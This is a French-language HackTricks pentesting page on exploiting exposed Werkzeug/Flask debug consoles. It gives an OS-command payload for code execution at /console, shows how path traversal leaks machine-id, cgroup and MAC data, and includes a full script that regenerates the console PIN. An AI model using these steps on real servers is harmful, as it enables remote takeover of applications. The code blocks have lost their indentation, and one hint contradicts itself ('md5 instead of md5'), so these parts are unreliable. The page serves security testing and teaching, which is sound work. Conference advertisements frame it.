hacktricks/network-services-pentesting/pentesting-web/werkzeug.md

10 KiB

Werkzeug / Débogage Flask

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

DragonJAR Security Conference es un evento internacional de ciberseguridad avec plus d'une décennie qui se tiendra les 7 et 8 septembre 2023 à Bogotá, en Colombie. C'est un événement de contenu technique de premier plan où les dernières recherches en espagnol sont présentées, attirant des hackers et des chercheurs du monde entier.
Inscrivez-vous dès maintenant en suivant le lien ci-dessous et ne manquez pas cette grande conférence !:

{% embed url="https://www.dragonjarcon.org" %}

Console RCE

Si le débogage est actif, vous pouvez essayer d'accéder à /console et obtenir une RCE.

__import__('os').popen('whoami').read();

Il existe également plusieurs exploits sur Internet comme celui-ci ou un dans Metasploit.

Pin Protégé - Traversée de Chemin

Dans certains cas, le point de terminaison /console sera protégé par un code PIN. Si vous avez une vulnérabilité de traversée de fichier, vous pouvez divulguer toutes les informations nécessaires pour générer ce code PIN.

Exploitation de la Console Werkzeug PIN

Copié depuis le premier lien.
Voir le message "console verrouillée" de Werkzeug en forçant la page d'erreur de débogage dans l'application.

The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server

Localisez la console de débogage vulnérable de Werkzeug à l'adresse vulnerable-site.com/console, mais elle est verrouillée par un code PIN secret.

Vous pouvez inverser l'algorithme qui génère le code PIN de la console. Examinez le fichier __init__.py de débogage de Werkzeug sur le serveur, par exemple python3.5/site-packages/werkzeug/debug/__init__.py. Vous pouvez consulter le dépôt du code source de Werkzeug pour vérifier comment le code PIN est généré, mais il est préférable de divulguer le code source grâce à une vulnérabilité de traversée de fichiers car les versions sont susceptibles de différer.

Variables nécessaires pour exploiter le code PIN de la console :

probably_public_bits = [
username,
modname,
getattr(app, '__name__', getattr(app.__class__, '__name__')),
getattr(mod, '__file__', None),
]

private_bits = [
str(uuid.getnode()),
get_machine_id(),
]

probably_public_bits

  • username est l'utilisateur qui a lancé cette application Flask
  • modname est flask.app
  • getattr(app, '__name__', getattr (app .__ class__, '__name__')) est Flask
  • getattr(mod, '__file__', None) est le chemin absolu de app.py dans le répertoire flask (par exemple /usr/local/lib/python3.5/dist-packages/flask/app.py). Si app.py ne fonctionne pas, essayez app.pyc

private_bits

  • uuid.getnode() est l'adresse MAC de l'ordinateur actuel, str(uuid.getnode()) est l'expression décimale de l'adresse MAC.

  • Pour trouver l'adresse MAC du serveur, il faut savoir quelle interface réseau est utilisée pour servir l'application (par exemple ens3). Si elle est inconnue, fuite /proc/net/arp pour obtenir l'ID du périphérique, puis fuite l'adresse MAC à /sys/class/net/<device id>/address.

Convertir de l'adresse hexadécimale à la représentation décimale en exécutant en python par exemple :

# C'était 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
  • get_machine_id() concatène les valeurs dans /etc/machine-id ou /proc/sys/kernel/random/boot_id avec la première ligne de /proc/self/cgroup après le dernier slash (/).
Code de get_machine_id() ```python def get_machine_id() -> t.Optional[t.Union[str, bytes]]: global _machine_id

if _machine_id is not None: return _machine_id

def _generate() -> t.Optional[t.Union[str, bytes]]: linux = b""

machine-id is stable across boots, boot_id is not.

for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue

if value: linux += value break

Containers share the same machine id, add some cgroup

information. This is used outside containers too but should be

relatively stable across boots.

try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] except OSError: pass

if linux: return linux

On OS X, use ioreg to get the computer's serial number.

try:

</details>

Une fois que toutes les variables sont préparées, exécutez le script d'exploitation pour générer le code PIN de la console Werkzeug :
```python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'279275995014060',# str(uuid.getnode()),  /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id
]

#h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

{% hint style="success" %} Si vous utilisez une ancienne version de Werkzeug, essayez de changer l'algorithme de hachage en md5 au lieu de md5. {% endhint %}

Références

DragonJAR Security Conference est un événement international de cybersécurité avec plus d'une décennie d'existence qui se tiendra les 7 et 8 septembre 2023 à Bogotá, en Colombie. C'est un événement de grande envergure technique où sont présentées les dernières recherches en espagnol, attirant des hackers et des chercheurs du monde entier.
Inscrivez-vous dès maintenant en suivant le lien ci-dessous et ne manquez pas cette grande conférence !:

{% embed url="https://www.dragonjarcon.org" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥